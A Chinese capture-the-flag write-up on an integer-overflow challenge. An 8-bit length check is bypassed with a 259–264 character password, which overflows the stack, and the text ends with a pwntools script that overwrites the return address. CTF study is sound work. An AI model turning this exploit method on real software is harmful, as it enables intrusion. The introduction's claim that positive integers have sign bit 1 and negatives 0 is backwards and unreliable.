题目来源:攻防世界
题目知识点:整数溢出
整数溢出原理
整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为 1,负数为 0,无符号数取值范围为非负数,常见各类型占用字节数如下:
类型 | 占用字节 | 取值范围 |
---|---|---|
int | 4 | -2147483648~2147483647 |
short int | 2 | -32768~32767 |
long int | 4 | -2147483648~2147483647 |
unsigned int | 4 | 0~4294967295 |
unsigned short int | 2 | 0~65535 |
unsigned long int | 4 | 0~4294967295 |
也就是说,对于一个2字节的unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,就溢出,溢出的部分则直接忽略,使用相关变量时,使用的数据仅为最后2个字节,因此就会出现65539等于3的情况,其他类型变量和数值与之类似。
正文
使用ida工具进行分析得到,main函数无异常。
进入login函数分析。
发现程序可接受用户输入,最大为0x199
长度的passwd。进入check_passwd函数进行分析。
使用一个字节,既8bit的一个变量存储用户输入的密码长度。之后进行了一个strcpy
函数,在此处存在栈溢出,但是需要突破密码长度限制。此处,可以使用整数溢出。8bit变量,且为unsigned
。那么其可存储范围是0~255
。
这里,要求密码长度为3~8
,但是如果使用溢出,长度可以为259~264
。我们可以任意选取一个长度,因为这个长度范围,已经足够我们执行栈溢出。
from pwn import * #sh = process('./abd631bc00e445608f5f2af2cb0c151a') sh = remote('111.198.29.45',32377) sh.recvuntil('Your choice:') sh.sendline('1') sh.recvuntil('your username:\n') sh.sendline('Mr_hello') sh.recvuntil('your passwd:\n') payload = 'a' * 0x18 + p32(0x804868B) + 'b' * 232 sh.sendline(payload) print sh.recvall()